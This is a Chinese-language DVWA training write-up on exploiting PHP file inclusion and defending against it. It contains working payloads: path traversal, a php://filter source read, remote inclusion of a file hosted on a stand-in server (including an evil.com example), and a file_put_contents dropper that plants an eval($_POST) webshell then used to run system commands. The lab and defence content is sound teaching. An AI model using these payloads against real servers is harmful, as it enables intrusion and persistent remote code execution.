DVWA靶场实战:文件包含漏洞原理、利用与防御全解析 1. 项目概述一次完整的本地靶场渗透实战最近在带新人做安全测试的入门练习发现很多朋友对“文件包含漏洞”这个概念的理解还停留在理论层面知道它危险但具体怎么利用、在什么环境下能利用、利用过程中会遇到哪些坑往往一头雾水。正好DVWADamn Vulnerable Web Application这个经典的漏洞靶场里就内置了文件包含的漏洞场景用它来做实战演练再合适不过了。这次实战的目标很明确在本地搭建的DVWA靶场中利用其文件包含漏洞最终实现GetShell也就是获取一个WebShell从而在服务器上执行任意命令。整个过程会涉及到PHP环境的核心安全配置——allow_url_include以及我们国内开发者常用的集成环境PHPStudy在配置上的一些“特色”坑点。我会把从环境准备、漏洞原理分析、手工利用、到最终写Shell的每一步都拆开揉碎了讲特别是那些在纯理论教程里不会提到的、只有亲手操作才会遇到的细节问题。无论你是刚入门的安全爱好者还是想巩固Web安全基础知识的开发者跟着走一遍这个流程应该都能对文件包含漏洞有一个非常立体和深刻的认识。2. 环境搭建与核心配置解析动手之前得先把“战场”布置好。我们的战场就是DVWA靶场和它的运行环境PHPStudy。这一步看似简单却是后续所有操作的基础很多人在第一步就卡住了。2.1 DVWA靶场部署与初始化DVWA是一个故意设计成充满漏洞的PHP/MySQL应用专门用于安全教学和测试。首先你需要从它的官方GitHub仓库下载最新版本的源码。下载后你会得到一个压缩包解压到任意目录比如我习惯放在D:\www\dvwa。接下来是关键的一步配置文件重命名。在DVWA的根目录下你会找到一个名为config.inc.php.dist的文件。你需要将它复制一份并重命名为config.inc.php。这个文件就是DVWA的配置文件。用文本编辑器打开它找到数据库连接配置的部分$_DVWA[ db_server ] 127.0.0.1; $_DVWA[ db_database ] dvwa; $_DVWA[ db_user ] root; $_DVWA[ db_password ] pssw0rd;这里需要根据你本地MySQL的实际配置进行修改。db_server通常是localhost或127.0.0.1db_user和db_password则是你MySQL的登录账号和密码。如果你用的是PHPStudy初始密码很可能是root或空。还有一个重要的配置是$_DVWA[ recaptcha_public_key ]和$_DVWA[ recaptcha_private_key ]它们用于reCAPTCHA验证如果没配置在登录时可能会遇到“reCAPTCHA key: missing”的错误。对于本地测试你可以直接注释掉这两行或者去Google reCAPTCHA官网申请一对测试用的Key选择reCAPTCHA v2 “I‘m not a robot” Checkbox类型填进去。配置好后将整个DVWA目录放到PHPStudy的网站根目录下例如D:\phpstudy_pro\WWW\。然后启动PHPStudy确保Apache和MySQL服务都显示为绿色运行中。在浏览器访问http://localhost/dvwa/setup.php你会看到DVWA的安装页面。点击页面底部的“Create / Reset Database”按钮DVWA会自动创建所需的数据库和数据表。如果一切顺利页面会提示成功。之后你就可以通过http://localhost/dvwa/访问DVWA登录页面了默认账号是admin密码是password。登录后在左侧菜单栏找到“DVWA Security”将安全等级设置为“Low”这是我们进行漏洞测试的前提。注意很多新手在访问setup.php时遇到403 Forbidden或404 Not Found错误。这通常是因为PHPStudy的网站端口或虚拟主机配置有误。请确保在PHPStudy的“网站”管理界面已经正确添加了指向DVWA目录的站点并且端口通常是80没有被占用。如果MySQL启动失败提示端口被占用可以去PHPStudy的“MySQL管理器”里修改端口或者用系统工具查杀占用3306端口的进程。2.2 PHPStudy环境与allow_url_include深坑指南PHPStudy是一个集成了Apache、Nginx、PHP、MySQL的Windows环境套件极大方便了我们的本地开发。但正是它的“集成”和“方便”也带来了一些默认配置上的安全隐患以及修改配置时的独特坑点。我们本次漏洞利用的核心——远程文件包含RFI就依赖于PHP的一个关键配置allow_url_include。这个配置项决定了PHP是否允许通过include、require等函数包含来自URL如http://或ftp://的文件。默认情况下为了安全这个选项是关闭的Off。我们的漏洞利用需要它开启On。坑点一修改哪个php.iniPHPStudy通常同时安装了多个版本的PHP。你通过PHPStudy界面切换PHP版本时它可能会使用不同目录下的php.ini文件。你绝对不能只修改PHP安装目录下的php.ini。正确的方法是首先在浏览器中访问一个包含?php phpinfo(); ?的页面查看“Loaded Configuration File”这一行它明确指出了当前Apache/Nginx加载的是哪个php.ini文件。这个路径下的php.ini才是你需要修改的。坑点二allow_url_include与allow_url_fopen的关系在找到的php.ini中搜索allow_url_include。你会发现它可能被分号;注释掉了。你需要删除分号并将其值改为On。同时请注意它上方不远处的allow_url_fopen配置。allow_url_fopen允许PHP打开远程文件如通过fopen函数读取URL内容它是allow_url_include能生效的前提。通常allow_url_fopen默认是On的。你需要确保这两个配置如下所示allow_url_fopen On allow_url_include On坑点三修改后服务不重启或重启失败这是最让人头疼的问题。修改php.ini后必须重启Web服务Apache或Nginx才能使配置生效。在PHPStudy界面点击重启有时会因为端口冲突、配置文件语法错误等原因导致重启失败服务状态一直在“停止”和“启动中”循环。我的经验是先尝试在PHPStudy界面彻底“停止”所有服务然后再“启动”。如果不行打开Windows任务管理器强制结束所有httpd.exeApache或nginx.exe进程再通过PHPStudy启动。检查php.ini文件的编码确保是ANSI或UTF-8 without BOM有时用记事本保存会引入BOM头导致解析问题。查看PHPStudy安装目录下的logs文件夹里面的Apache或Nginx错误日志会给出具体的启动失败原因比如某行配置写错了。坑点四配置生效验证修改并重启服务后务必验证配置是否真的生效了。再次访问包含phpinfo();的页面搜索allow_url_include和allow_url_fopen确认它们的“Local Value”和“Master Value”都已经是On。只有看到这个才证明你的环境真正为远程文件包含漏洞利用做好了准备。3. 文件包含漏洞原理与DVWA漏洞点分析环境准备好了我们得先搞清楚要攻击的目标到底是什么以及它为什么脆弱。3.1 文件包含漏洞的本质与分类文件包含漏洞顾名思义是指Web应用程序在引入包含外部文件时未对用户可控的文件路径参数进行严格的过滤和校验导致攻击者可以包含并执行任意文件的一种安全漏洞。在PHP中主要通过include、require、include_once、require_once这四个函数实现。根据包含文件的来源可以分为两类本地文件包含LFI, Local File Inclusion包含服务器本地的文件。例如通过参数?page../../../../etc/passwd尝试读取Linux系统的密码文件。即使allow_url_include关闭LFI也可能成功危害在于读取敏感文件、日志文件甚至结合文件上传、PHP封装协议如php://filter来执行代码。远程文件包含RFI, Remote File Inclusion包含远程服务器上的文件。例如?pagehttp://evil.com/shell.txt。这需要allow_url_include配置为On。RFI的危害极大因为它允许攻击者直接引入并执行托管在外部服务器上的恶意代码是GetShell的捷径。漏洞产生的根本原因在于开发者过于信任用户的输入直接将其拼接进文件路径中。例如本意是include(‘/templates/’ . $_GET[‘page’] . ‘.php’);但如果不对$_GET[‘page’]进行过滤攻击者传入../../../etc/passwd或http://evil.com/shell就会导致灾难性后果。3.2 DVWA File Inclusion模块代码审计在DVWA中我们将安全级别设为“Low”然后访问“File Inclusion”模块。查看其源代码或者直接看DVWA提供的源码Low级别的代码通常简单到令人发指?php $file $_GET[page]; // 直接获取用户输入没有任何过滤 ?或者类似这样?php if (isset($_GET[page])) { include($_GET[page]); // 直接包含 } ?这就是最典型的、赤裸裸的文件包含漏洞。用户通过page参数传递的任何值都会被直接送入include()函数。在Low级别下DVWA没有做任何目录限制、后缀检查或输入净化。漏洞利用点分析参数page。这是我们攻击的入口。可控输入整个page参数的值完全由我们控制。目标函数include()。它会将指定文件的内容包含进来并作为PHP代码执行如果文件内容是PHP代码的话。环境前提为了演示RFI我们需要确保allow_url_includeOn。对于LFI则不需要。理解了漏洞原理和靶场的代码后我们就可以开始真正的攻击演练了。我们的攻击路径将是先通过简单的LFI证明漏洞存在然后利用RFI配合远程恶意文件实现代码执行最后写入一个持久的WebShell。4. 手工漏洞利用与GetShell全流程理论清晰了环境就绪了现在开始“动手”。我们将按照循序渐进的方式从漏洞验证到最终GetShell。4.1 第一步本地文件包含LFI漏洞验证首先我们验证漏洞的基本功能是否可用。在DVWA的File Inclusion页面你会发现URL类似http://localhost/dvwa/vulnerabilities/fi/?pagefile1.php。它默认包含了file1.php。尝试修改page参数进行路径遍历Directory Traversal尝试包含同级目录的另一个文件?pagefile2.php页面应该正常显示file2的内容。尝试包含上一级目录的文件?page../file2.php如果file2在上一级。在DVWA中你可以尝试包含?page../../index.php看看能否跳转到首页。尝试读取系统文件Windows环境?page../../../../../../Windows/system32/drivers/etc/hosts。如果成功你会在页面上看到hosts文件的内容。这证明了LFI漏洞真实存在并且可以读取服务器上的任意文件。实操心得在Windows下进行路径遍历时使用正斜杠/和反斜杠\都可能成功因为PHP在Windows环境下通常都能处理。但为了兼容性建议先尝试/。此外使用../的个数需要根据DVWA脚本的实际位置到目标文件的相对路径来估算可能需要多次尝试。4.2 第二步利用PHP封装协议读取源码直接包含.php文件我们看到的是其执行后的HTML结果而不是源代码。如果我们想审计代码就需要看到源码。这时PHP内置的封装协议php://filter就派上用场了。php://filter是一种元封装器设计用于数据流打开时的筛选过滤应用。在文件包含中我们可以用它来对目标文件进行编码转换从而“读取”到源码。最常用的姿势是?pagephp://filter/convert.base64-encode/resourcefile1.php这个Payload的意思是使用php://filter流对资源file1.php应用一个过滤器将其内容转换为base64编码后再输出。执行后页面上显示的不再是HTML而是一串Base64编码的字符串。我们将这串字符串复制下来使用任何Base64解码工具在线网站或编程语言解码进行解码就能得到file1.php完整的源代码。你可以对index.php、config.inc.php注意包含config文件可能需要准确的相对路径等关键文件进行同样的操作这有助于你更深入地理解应用结构甚至发现数据库密码等敏感信息在DVWA的config中密码是明文的。4.3 第三步远程文件包含RFI与代码执行这是实现GetShell的关键一步前提是你的allow_url_include已经成功开启并验证。我们需要先在攻击者控制的另一台服务器或本机另一个Web服务上放置一个恶意的PHP文件。因为DVWA靶场在本机我们可以在本机用Python快速启一个HTTP服务来模拟远程服务器。准备恶意文件在一个空目录下比如D:\evil创建一个文本文件命名为shell.txt为什么是.txt后面会解释内容为最简单的PHP代码?php phpinfo(); ?这段代码执行后会输出PHP的配置信息是测试代码执行是否成功的经典方法。启动简易HTTP服务器打开命令行进入D:\evil目录执行命令python -m http.server 8000这会在本机的8000端口启动一个HTTP服务。确保防火墙允许该端口的连接。发起RFI攻击在DVWA的File Inclusion页面构造URLhttp://localhost/dvwa/vulnerabilities/fi/?pagehttp://127.0.0.1:8000/shell.txt注意这里我用了127.0.0.1和端口8000来指向我们刚刚启动的Python服务器。如果攻击成功你将在DVWA的页面上看到phpinfo()的输出信息而不是shell.txt的文本内容。这证明include()函数成功获取了远程文件http://127.0.0.1:8000/shell.txt的内容并将其作为PHP代码执行了。为什么用.txt后缀这是因为有些环境下Web服务器如Apache会根据文件后缀来决定如何处理文件。如果直接请求.php文件Apache会先交给PHP解析器执行返回执行结果即一个空白页因为phpinfo()输出被Python服务器直接处理了而Python不认识PHP。我们通过.txt后缀确保Python服务器将其作为纯文本文件原样返回内容这样内容?php phpinfo(); ?才能被DVWA靶场的include()函数接收到并当作PHP代码执行。这是一种常见的绕过技巧。4.4 第四步写入持久化WebShell执行phpinfo()只是证明了我们有远程代码执行的能力。真正的GetShell是获得一个可以持续交互、执行任意命令的后门。我们需要写入一个文件到靶场的服务器上。我们修改远程的shell.txt文件内容使用PHP的文件写入函数?php file_put_contents(‘shell.php‘ ‘?php eval($_POST[“cmd”]); ?’); ?这段代码的意思是当它被包含执行时会在当前目录即DVWA中fi漏洞脚本所在的目录下创建一个名为shell.php的文件文件内容是一句话木马?php eval($_POST[“cmd”]); ?。再次在DVWA页面访问包含上述Payload的URLhttp://localhost/dvwa/vulnerabilities/fi/?pagehttp://127.0.0.1:8000/shell.txt此时页面可能没有明显回显但代码已经在后台执行。接着访问这个新生成的文件http://localhost/dvwa/vulnerabilities/fi/shell.php如果访问成功可能是一个空白页这正常说明WebShell已经写入成功。现在我们可以使用中国菜刀、蚁剑这类WebShell管理工具或者直接用浏览器的HackBar插件、curl命令来连接这个Shell。使用POST方法连接WebShell 在HackBar中URL填写http://localhost/dvwa/vulnerabilities/fi/shell.php选择POST请求在Post data中填写cmdsystem(“whoami”);。发送请求后响应体中应该会显示服务器当前进程的用户名如www-data、apache或nt authority\system等。这意味着你已经成功在服务器上执行了系统命令GetShell的目标完全达成。重要注意事项在实际渗透测试中写入WebShell的路径非常关键。上面的例子是写入到了漏洞脚本的同目录这个目录通常有写权限。但在真实环境中你可能需要尝试多个可写目录如/tmp、/var/www/html/uploads等。可以使用cmdecho sys_get_temp_dir();来查看临时目录或者用cmdprint_r(scandir(‘.’));来列出当前目录文件寻找可写位置。5. 漏洞防御与PHPStudy安全加固指南攻击演示完成我们更重要的目的是理解如何防御。文件包含漏洞的防御是开发者和运维人员的必修课。5.1 代码层防御策略根本的解决之道在于编写安全的代码。白名单校验这是最有效的方法。不要使用用户输入直接作为文件名。如果必须动态包含文件应预先定义一份允许的文件名列表白名单只包含列表内的文件。$allowed_pages array(‘home.php‘ ‘about.php‘ ‘contact.php’); $page $_GET[‘page’]; if (in_array($page $allowed_pages)) { include(‘./templates/’ . $page); } else { include(‘./templates/error.php’); }固定目录后缀限制如果白名单不灵活可以强制将包含文件限制在某个特定目录下并添加固定的后缀。$page $_GET[‘page’]; $base_dir ‘./includes/’; // 移除路径中的目录遍历字符 $page str_replace(array(‘../‘ ‘..\\‘) ‘’ $page); // 添加后缀 $file_path $base_dir . $page . ‘.php’; // 二次检查确保最终路径仍在安全目录内 if (strpos(realpath($file_path) realpath($base_dir)) 0) { include($file_path); } else { die(‘Invalid file path.’); }注意str_replace这种过滤非常容易被绕过如….//realpath检查是更可靠的方式。避免动态包含从根本上重新设计程序逻辑避免使用用户输入来动态决定包含哪个文件。使用路由机制或前端控制器模式来分发请求。5.2 服务器环境加固对于使用PHPStudy或其他PHP环境的运维人员服务器配置是第二道防线。关闭危险的PHP配置这是必须做的在生产环境中务必在php.ini中设置allow_url_fopen Off allow_url_include Off这将彻底关闭远程文件包含的大门。绝大多数正常的Web应用都不需要这两个功能。配置open_basedir在php.ini中设置open_basedir将PHP可访问的文件限制在网站根目录及其子目录下防止跨目录访问敏感系统文件。open_basedir “D:/phpstudy_pro/WWW”注意路径末尾不要带斜杠且多个目录用分号隔开Windows。最小权限原则运行PHP和Web服务的系统账户如Apache的www-data用户应仅拥有必要的权限特别是对网站目录的写权限要严格控制。上传目录应单独设置并禁止执行PHP脚本。5.3 PHPStudy特定安全配置建议针对PHPStudy除了修改php.ini还有一些额外的安全点修改默认密码PHPStudy的MySQL默认密码可能是root或空。安装后第一件事就是修改MySQL的root密码并在DVWA等应用的配置文件中更新。禁用不必要的PHP函数在php.ini的disable_functions项中可以禁用一些危险函数如evalassertsystemexecshell_execpassthru等。这可以增加攻击者即便上传了WebShell也无法执行命令的难度。disable_functions evalassertsystemexecshell_execpassthruproc_openpopen定期更新虽然PHPStudy集成的组件版本可能较旧以追求稳定性但仍需关注其官方发布的安全更新及时升级已知漏洞的组件。非必要不开启仅在开发调试需要时开启allow_url_include等危险选项并在调试完毕后立即关闭。切勿在生产环境中开启。文件包含漏洞的利用过程就像一次精细的外科手术需要对环境、代码、配置有透彻的理解。而防御则是构建一个多层次、纵深的安全体系。从这次DVWA实战中我们不仅学会了攻击的技巧更重要的是理解了每一个配置项背后的安全含义以及如何在开发中避免此类漏洞的产生。安全是一个持续的过程永远保持警惕和学习的心态才是应对不断变化威胁的最佳策略。